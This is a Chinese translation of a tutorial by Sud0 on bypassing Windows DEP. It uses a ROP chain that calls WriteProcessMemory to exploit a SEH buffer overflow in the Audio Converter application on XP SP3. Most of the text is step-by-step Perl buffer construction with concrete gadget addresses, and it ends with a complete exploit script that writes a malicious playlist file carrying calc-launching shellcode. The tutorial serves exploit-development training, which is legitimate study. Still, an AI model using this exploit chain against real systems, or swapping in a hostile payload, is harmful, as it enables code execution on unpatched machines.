利用WPN与ROP绕过DEP保护机制
作者:Sud0
译者:riusksk (泉哥:http://riusksk.blogbus.com)
前言
对于本教程,假设读者具备以下条件:
1. 在电脑拥有各项所需工具的实验环境;
2. 具备编写栈溢出利用程序的基础;
3. 掌握SEH概念及利用SEH编写exploit的基础知识。
基础概念
DEP(Data Execution Prevention):防止一些内存位置执行代码的一种保护机制,特别是堆栈,因此在windows中利用栈返回技术攻击溢出的方法已不再适用了。
ROP(Return Oriented Programming):连续调用程序代码本身的内存地址,以逐步地创建一连串欲执行的指令序列。
WPM(Write Process Memory):利用微软在kernel32.dll中定义的函数比如:WriteProcess Memory函数可将数据写入到指定进程的内存中。但整个内存区域必须是可访问的,否则将操作失败。函数原型:
WriteProcessMemory: procedure
(
hProcess:dword;
//Handle to the process whose memory is to be modified
varlpBaseAddress: var;
//Pointer to the base address in the specified process to which data will bewritten
varlpBuffer: var;
//Pointer to the buffer that contains data to be written into the address spaceof the specified process
nSize:dword;
//Specifies the requested number of bytes to write into the specified process
varlpNumberOfBytesWritten: dword
//Pointer to a variable that receives the number of bytes transferred.
);
目标
我们的目标是利用ROP技术来调用WPM,以便将shellcode写入地址0x7C8022CF,这样当从ntdll.ZwWriteVirtualMemory函数中返回时可正确地执行shellcode。
@start :
首先需要知道要覆盖的SEH所在的偏移地址,使用metasploit pattern和pvefindaddr可以看到如图1的情况:
图1
利用ROP时,我们只需知道相对SEH的偏移量,而无需NSEH,因此我们的缓冲区块可以这样构造:
my$buffer = "A” x 4436 . “B” x 4 . “A” x 10000;
看看SEH是否被”0x42424242“=>”BBBB”覆盖掉,通过immunity调试器加载运行Audio Converterr并打开文件后,SEH Chain结果如图2所示:
图2
SEH链正如所希望的那样被覆盖掉。当程序崩溃时,寄存器情况如图3:
图3
可能很多人会说:我们拥有一个起始点:EDI指向我们控制的缓冲区。此时栈中SEH的情况如图4所示:
图4
将SEH值修改成可执行模块中的某条指令(你也可以选择其它你喜欢的地址),如图5所示:
图5
如上所示,我将其改成在调试器中所见的第一条指令,你也可选择其它指令。现在我们在那个地址上设置一个断点,并按Shift+F9忽略程序异常,注意再次发生程序异常时的情况,如图6所示:
图6
如上所示,没有任何寄存器再指向我们栈中的缓冲区了,但我们看看它们真正所指向的地址:
首先我们拥有以下指针:
ESP0x0013C5F0
EBP0x0013C610
接着我们需要确定shellcode所在的地址,看它是否位于栈中以及它的具体位置,如图7所示:
图7
通过上图我们可以看到shellcode位于0x0013CD50,相对ESP有点远。下面做个简单计算:
For ESP: 0x0013CD50 – 0x0013C5F0 = 0x760
For EBP: 0x0013CD50 – 0x0013C610 = 0x740
现在我们需要递增ESP使其指向我们的缓冲区,这个可以使用ROP技术:
通过SEH执行我们的第一条ROP指令:
第一回 : 运行ESP
现在我们的目标是找到一块包含递增ESP指令的内存地址,以使ESP指向我们的缓冲区,然后通过RETN进入缓冲区的其它地址,因此我们先处理下面的指令:
ADDESP,xxxxxxxx的机器码:81 C4 xx xx xx xx
通过搜索字节序列:81 C4来找到ADD ESP指令地址(对于python程序员,你可以在immunity调试器中执行python command来查找它们),我们可以找到很多ADD ESP指令,但必须遵守一定的原则:
1- ADDESP指令必须使ESP指向我们内部的缓冲区
2- 后面必须跟随RETN指令(不用直接后接RETN,但在add esp和retn之间不能有其它有害指令)。
经搜索到匹配内容后,可以发现有很多地址,例如我选择以下地址,如图8所示:
图8
100137F281C4 78080000 ADD ESP,878
由于SEH必须指向0x100137F2,因此我们可以这样构造缓冲区:
my$buffer = “A” x 4436 . “\x2F\x37\x01\x10” . “A” x 10000;
在调试器中中重载程序,并重新打开文件以再次触发漏洞,如图9所示:
图9
SEH指向正确的地址,我们在上面设断,然后用SHIFT+F9忽略程序异常,如图10所示:
图10
如上所示,程序正确地执行到希望的地址,现在按F8执行ADDESP指令,停在“RETN 8”后可以看到栈中如图11所示的情况:
图11
ESP已经指向我们的缓冲区了,下面看看ESP指向的地址相对RETN的偏移量,如图12所示:
图12
正如我们所看到的,我们的缓冲区起始于0x0013CD50,而ESP指向0x0013CE68,和之前一样进行个简单的计算:
0x0013CE68- 0x0013CD50 = 0x118 = 280 bytes (十进制)
现在我们可以确定下一个ROP指令位于相对我们缓冲区偏移量为280的地址处,重新修改buffer:
my$buffer = “A” x 280 . “\x01\x00\x00\x00” . “B” x (4436 – 280) .“\x2F\x37\x01\x10” . “A” x 10000;
重载程序,并在SEH上设断,执行ADD指令后,查看栈情况后,证实SEH后的retn指向地址0x00000001,如图13所示:
图13
现在我们知道下一条ROP指令应位于buffer之后偏移280字节的地址,让我们进入下一步。
第二回 :寻找野兽
在本教程中笔者尽量讲述如何利用WPM绕过DEP,这里我会解释一下我的方法和利用途径,有些人可能有其它方法。好,我们开始吧!WPM需要以shellcode地址作为其参数,然后操控shellcode地址,对此我打算用EAX指向我们的shellcode。在图13中可以看到EAX=00000000,这对我们相当有利,因为我们可以很容易控制它的值。在此我打算利用下面两个途径:
1- MOVEAX, ESP
2- MOVEAX, EBP
和之前一样,先查找出所有MOV EAX, ESP和 MOV EAX, EBP的匹配指令序列,再连接一个RETN指令,并且两者之间没有其它有害指令。不幸的是,这没有之前那般容易了,我们没有找到匹配的MOV EAX,ESP指令,不过找到了一个MOV EAX,EBP指令,如图14所示:
图14
在地址0x10002A31处可以看到以下三条指令:
MOVEAX,EBP ===> 正是我们所寻求的
POP EBP ===>无害指令,我们暂时不需要EBP
RETN 4 ===>RETN 4帮助我们返回栈中执行下一条指令
重新构造buffer:
my$buffer = “A” x 280 . “\x31\x2A\x00\x10” . “B” x (4436 – 280) .“\x2F\x37\x01\x10” . “A” x 10000;
我们在0x10002A34(RETN 4)上设断,查看EAX值如图15所示:
图15
栈情况如图16所示:
图16
可以看到RETN将会返回到前一条ROP指令之后的12字节处,此时可以构造buffer:
my$buffer = “A” x 280 . “\x31\x2A\x00\x10” . “B” x 12 .”\x00\x00\x00\x00” . “B” x(4436 –280-12-4) . “\x2F\x37\x01\x10” . “A” x 10000;
不必担心”\x00\x00\x00\x00”,它只是用来代替下一条指令的地址,你可以用其它指令序列来代替null字节,过后我们将会查找这个指令。现在EAX指向0x0013C610,离buffer很远,因此还需:
下一条ROP指令必须递增EAX,使其指向我们BUFFER,进而执行到shellcode地址。
下面查找一条如下指令:
Add EAX,xxxxxxxx
.......<==== 必须为无害指令
RETN x
笔者选择如图17所示的地址:
图17
ADDEAX,100 ===> Excellent
POP EBP===> Not Harmful
RETN===> Excellent
因此我们可以构造如下的buffer:
my$buffer = “A” x 280 . “\x31\x2A\x00\x10” . “B” x 12 .”\x1D\xA4\x07\x10” . “B” x(4436 –280-12-4) . “\x2F\x37\x01\x10” . “A” x 10000;
很好,但是EAX添加100后仍未指向buffer,因此笔者打算作个循环操作:
使其调用9次上面的指令,这样EAX就可以指向我们的buffer了。
现在BUFFER越来越复杂了,让我们重新排版一下:
my$buffer = “A” x 280 #some junk
$buffer .= “\x31\x2A\x00\x10” # mov eax,ebp / pop ebp / retn4
$buffer .= “B” x 12 # some junk
$buffer .= ”\x1D\xA4\x07\x10” # add eax,100 / pop ebp / retn
$buffer .= “B” x (4436 –280-12-4)# some junk
$buffer .= “\x2F\x37\x01\x10” # SEH : add esp, 878 / retn 8
$buffer .= “A” x 10000; # some junk
在ADD EAX,100下断,停在RETN后,栈情况如图18所示:
图18
我们可以看到,下一条ADD EAX,100指令地址位于第一条指令之后的8字节处,因此可以这样修改buffer:
my$buffer = “A” x 280 #some junk
$buffer .= “\x31\x2A\x00\x10” # mov eax,ebp / pop ebp / retn4
$buffer .= “B” x 12 # some junk
$buffer .= ”\x1D\xA4\x07\x10” # add eax,100 / pop ebp / retn
$buffer .= “B” x 8 # some junk
$buffer .= ”\x1D\xA4\x07\x10” # NEXT : add eax,100 / pop ebp / retn
$buffer .= “B” x (4436 –312) # some junk
$buffer .= “\x2F\x37\x01\x10” # SEH : add esp, 878 / retn 8
$buffer .= “A” x 10000; # some junk
这样反复执行9次,就可以让EAX指向远离ESP的shellcode了。我们可以重复以上过程,通过pop ebp/retn来改变栈情况,因此我们可以构造如下的buffer:
my$buffer = “A” x 280 #some junk
$buffer .= “\x31\x2A\x00\x10” # mov eax,ebp / pop ebp / retn4
$buffer .= “B” x 12 # somejunk
$buffer .= ”\x1D\xA4\x07\x10”# add eax,100 / pop ebp / retn
$buffer .= “B” x 8 # some junk
$buffer .= ”\x1D\xA4\x07\x10”# NEXT : add eax,100/ pop ebp / retn
$buffer .="B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT :add eax,100 / pop ebp / retn
$buffer .="B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT :add eax,100 / pop ebp / retn
$buffer .="B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT :add eax,100 / pop ebp / retn
$buffer .="B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT :add eax,100 / pop ebp / retn
$buffer .="B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT :add eax,100 / pop ebp / retn
$buffer .="B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT :add eax,100 / pop ebp / retn
$buffer .="B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT :add eax,100 / pop ebp / retn
$buffer .="B" x 4 ; #some junk
$buffer .= “B” x (4436 –360) # some junk
$buffer .= “\x2F\x37\x01\x10” # SEH : add esp, 878 / retn 8
$buffer .= “A” x 10000; # some junk
重复9次操作之后,栈及寄存器情况如图19所示:
图19
现在EAX指向我们的shellcode,再做个简单计算:
如果你还有印象的话,应该记得buffer起始于地址:0x0013CD50,因此shellcode相对buffer起始地址的偏移量为:
0x0013CF10 – 0x0013CD50 = 0x1C0 = 448 bytes (十进制)
继续下一步!
第三回:构造陷阱
下面笔者打算构建WMP结构:
[0x7C802213][RET] [0xffffffff] [0x7C8022CF] [@ of shellcode] [length of Shellcode] [@ forresults]
看一下上面的结构:
[0x7C802213] ==> Constant we have it
[RET][0xffffffff] ==> This isnot a problem
[0x7C8022CF] ==> Constant we have it
[@ ofshellcode] ==> We have it in EAX
[lengthof Shellcode] ==> héhé
[@ forresults] ==> Not a problem,just a writeable memory address
万事俱备,只欠东风:
[0x7C802213][RET] [0xffffffff] [0x7C8022CF] [@ of shellcode] [length of Shellcode] [@ forresults]
ESP ESP+4 ESP+8 ESP+0C ESP+10 ESP+14 ESP+18
为了更容易实现它,可以找一小段代码将EAX放入ESP+10中,然后RETN,因此搜索指令:
mov dwordptr ss:[esp + 10], eax
可惜没有找到这样一条可行的指令,因此其后没有RETN,在MOV之后有许多“坏指令”。也许到这里,有些人可能放弃,或者回头寻找其它途径,但我们不能将思维束缚于此,因此让我们发散一下思维,重新寻找一次,这次我找到如下地址,如图20所示:
图20
正如上面所看到,后面没有跟随RETN,但拥有CALLEDI????
如果我们可以控制EDI,那么我们就可以执行到任意地址了。因此我们可以这样处理:
在执行这样一串指令之前,我们需要使EDI指向一个有利的地址,以便CALL EDI可以起到作用。
假设我们在buffer放入以下参数:
1- 让CALL EDI带领我们进入位于0x7C802213的WPM函数
2- 执行mov dword ptr ss:[esp + 10], eax / call EDI
现在就是利用CALL EDI中的RET指令帮我们执行到WPM(0x7C802213)
大家都知道在执行函数前都会向栈中压入数据,因此当执行CALL EDI后会调用RETN返回,但我们现在需要在CALL EDI中的RET到WPM。如果我们让EDI指向以下指令:
ADD ESP,4 ==> 绕过CALLEDI中的返回地址,使其指向栈中下一条指令,大家猜想一下该为何值呢??? 0x7C802213
..... ==> 无害指令
RETN ==> 返回到WPM
搜索以上指令:
图21
找到如图21所示的指令。
现在如何将它置入EDI呢?此时我总会说:仅需一个POP EDI即可实现,因此我们可以搜索POP EDI/RETN指令序列,如图22所示:
图22
重新梳理一下思路:
0x100012B6<== This what we need to put in EDI
0x10008D00<== This is how to put 0x100012B6 in EDI
让我们回头看一下buffer,并去执行下一条指令:
如果你记性还可以的话,应该知道ADD EAX,100执行9次后的情况如图23所示:
图23
因此栈中的下一地址应指向POP EDI / RETN (10008D00),接着栈中的下一个值应为ADD ESP,4/ RETN的地址(100012B6)。现在我们的缓冲区可以构造如下:
my$buffer = “A” x 280; #some junk
$buffer .= “\x31\x2A\x00\x10”; # mov eax,ebp / pop ebp / retn4
$buffer .= “B” x 12; # some junk
$buffer .= ”\x1D\xA4\x07\x10”; # add eax,100 / pop ebp / retn
$buffer .= “B” x 8; # some junk
$buffer .= ”\x1D\xA4\x07\x10”; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x00\x8D\x00\x10"; # POP EDI /RETN
$buffer .="\xB6\x12\x00\x10"; # NEXT :ADD ESP,4 / RETN
$buffer .= “B” x (4436 –360) # some junk
$buffer .= “\x2F\x37\x01\x10” # SEH : add esp, 878 / retn 8
$buffer .= “A” x 10000; # some junk
看看执行后的结果,在0x10008D00下断后如图24所示:
图24
现在EDI指向0x100012B6,该地址的指令如图25所示:
图25
现在我们准备最后调用mov dword ptr ss:[esp + 10], eax /call EDI,以便将所有WPM的参数压入栈中,除了shellcode地址需要我们通过指令“mov dword ptr ss:[esp + 10], eax /call EDI”来放置它。但在此之前,我们需要先执行条指令以使ESP指向稍远的地址,以便更容易地压入参数,另外它还得在操作EAX的指令之前,下面搜索这样的指令序列:
addesp,xx / retn
比如这里我选择如图26所示的地址:
图26
ESP添加14字节后指向地址0x10002105,使ESP=ESP+14后,重新构造buffer:
在此之前的栈情况如图27所示:
图27
直接将Add esp, 14 / Retn (0x10002105)的地址添加进buffer后,结果如下:
my$buffer = “A” x 280; #some junk
$buffer .= “\x31\x2A\x00\x10”; # mov eax,ebp / pop ebp / retn4
$buffer .= “B” x 12; # some junk
$buffer .= ”\x1D\xA4\x07\x10”; # add eax,100 / pop ebp / retn
$buffer .= “B” x 8; # some junk
$buffer .= ”\x1D\xA4\x07\x10”; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .= "\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp /retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x00\x8D\x00\x10"; # POP EDI /RETN
$buffer .="\xB6\x12\x00\x10"; # ADD ESP,4/ RETN
$buffer .="\x05\x21\x00\x10"; # ADDESP,14 / RETN
$buffer .= “B” x (4436 –360) # some junk
$buffer .= “\x2F\x37\x01\x10” # SEH : add esp, 878 / retn 8
$buffer .= “A” x 10000; # some junk
这样我们就完成了最后的旅程。
第四回:消灭野兽
在ADD ESP,14之后的RETN下断点,结果如图28、29所示:
图28
图29
这样我们就可以腾出一点空间用于存放参数了,继续下一步:
执行下一条指令,也是最后一条:
0x10028479 ==> mov dword ptr ss:[esp +10], eax / call EDI
正如图29所示,在最后一条指令之前还有20字节,将它们添加进buffer:
my$buffer = “A” x 280; #some junk
$buffer .= “\x31\x2A\x00\x10”; # mov eax,ebp / pop ebp / retn4
$buffer .= “B” x 12; # some junk
$buffer .= ”\x1D\xA4\x07\x10”; # add eax,100 / pop ebp / retn
$buffer .= “B” x 8; # some junk
$buffer .= ”\x1D\xA4\x07\x10”; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x00\x8D\x00\x10"; # POP EDI /RETN
$buffer .="\xB6\x12\x00\x10"; # ADD ESP,4/ RETN
$buffer .="\x05\x21\x00\x10"; # ADDESP,14 / RETN
$buffer .="B" x 20 ; #some junk
$buffer .="\x79\x84\x02\x10"; # movdword ptr ss:[esp + 10], eax / call EDI
$buffer .= “B” x (4436 –360) # some junk
$buffer .= “\x2F\x37\x01\x10” # SEH : add esp, 878 / retn 8
$buffer .= “A” x 10000; # some junk
在CALL EDI下断后,结果如图30所示:
图30
正如所见到的,我们利用原有的缓冲区,将已知参数赋予WPM,如图31所示:
[0x7C802213] ==> Constant we have it
[0xFFFFFFFF] ==> this is example, Theret, choose and put it as you like
[0xFFFFFFFF] ==> This is the hprocess (-1means the process itself)
[0x7C8022CF] ==> Constant we have it
[@ ofshellcode] ==> Just put somejunk, it will be overwritten by @ in EAX
[lengthof Shellcode] ==> 0000001A
[@ forresults] ==> just find awritable memory address using immunity
最后在shellcode长度之后添加一个可写内存地址,用于存放实际写入的字节数。
图31
最后的buffer构造如下:
my$buffer = “A” x 280; #some junk
$buffer .= “\x31\x2A\x00\x10”; # mov eax,ebp / pop ebp / retn4
$buffer .= “B” x 12; # some junk
$buffer .= ”\x1D\xA4\x07\x10”; # add eax,100 / pop ebp / retn
$buffer .= “B” x 8; # some junk
$buffer .= ”\x1D\xA4\x07\x10”; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; #NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x00\x8D\x00\x10"; # POP EDI /RETN
$buffer .="\xB6\x12\x00\x10"; # ADD ESP,4/ RETN
$buffer .="\x05\x21\x00\x10"; # ADDESP,14 / RETN
$buffer .= "B" x 20 ; # some junk
$buffer .="\x79\x84\x02\x10"; # movdword ptr ss:[esp + 10], eax / call EDI
$buffer .="\x13\x22\x80\x7C"; # @ of WPM
$buffer .="\xFF\xFF\xFF\xFF"; # RET after WPM choose one and use it
$buffer .="\xFF\xFF\xFF\xFF"; # -1 : means process itself
$buffer .="\xCF\x22\x80\x7C"; #Destination address
$buffer .="B" x 4 ; #some junk, @ of shellcode will land here
$buffer .="\x1A\x00\x00\x00 ; # size of shellcode
$buffer .="\x00\xA0\x45\x00 ; # writeableMemory
$buffer .="B" x 12 ; #some junk
$buffer .=$shellcode;
$buffer .= “B” x (4436 –360) # some junk
$buffer .= “\x2F\x37\x01\x10” # SEH : add esp, 878 / retn 8
$buffer .= “A” x 10000; # some junk
这样我们就完成了最终的利用代码:
# Exploitby sud0 for Audio Converter
# BugFound by chap0
# AudioConverter new Exploit usin WPM and ROp technique to bypass DEP Tested on XP SP3on VM
# @ ofWPM hard coded, on ASLR have to brute force or change the @ of WPM
my $filename="audio-poc.pls";
# SmallShellcode to run calc
my$shellcode =
"\x8B\xEC\x55\x8B\xEC\x68\x20\x20\x20\x2F\x68\x63\x61\x6C\x63\x8D\x45\xF8\x50\xB8\xC7\x93\xC2\x77\xFF\xD0";
my$buffer = "A" x 280; # some junk
$buffer .="\x31\x2A\x00\x10"; # mov eax,ebp / pop ebp / retn4
$buffer .= "B" x 12; #some junk
$buffer .="\x1D\xA4\x07\x10"; # add eax,100 / pop ebp / retn
$buffer .= "B" x 8; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x1D\xA4\x07\x10"; # NEXT : add eax,100 / pop ebp / retn
$buffer .= "B" x 4 ; #some junk
$buffer .="\x00\x8D\x00\x10"; # POP EDI / RETN
$buffer .= "\xB6\x12\x00\x10";# ADD ESP,4 / RETN
$buffer .="\x05\x21\x00\x10"; # ADD ESP,14 / RETN
$buffer .= "B" x 20 ; #some junk
$buffer .="\x79\x84\x02\x10"; # mov dword ptr ss:[esp + 10], eax / call EDI
$buffer .="\x13\x22\x80\x7C"; # @ of WPM
$buffer .= "\xFF\xFF\xFF\xFF";# RET after WPM choose one and use it
$buffer .="\xFF\xFF\xFF\xFF"; # -1 : means process itself
$buffer .="\xCF\x22\x80\x7C"; # Destination address
$buffer .= "B" x 4 ; #some junk, @ of shellcode will land here
$buffer .= "\x1A\x00\x00\x00";# size of shellcode
$buffer .="\x00\xA0\x45\x00"; # Writeable memory
$buffer .= "B" x 12; #some junk
$buffer .= $shellcode;
$buffer .= "B" x (4436-length($buffer)); # some junk
$buffer .="\x2F\x37\x01\x10"; # SEH : add esp, 878 / retn 8
$buffer .= "A" x 10000;# some junk
print"Removing old $filename file\n";
system("del$filename");
print"Creating new $filename file\n";
open(FILE,">$filename");
printFILE $buffer;
close(FILE);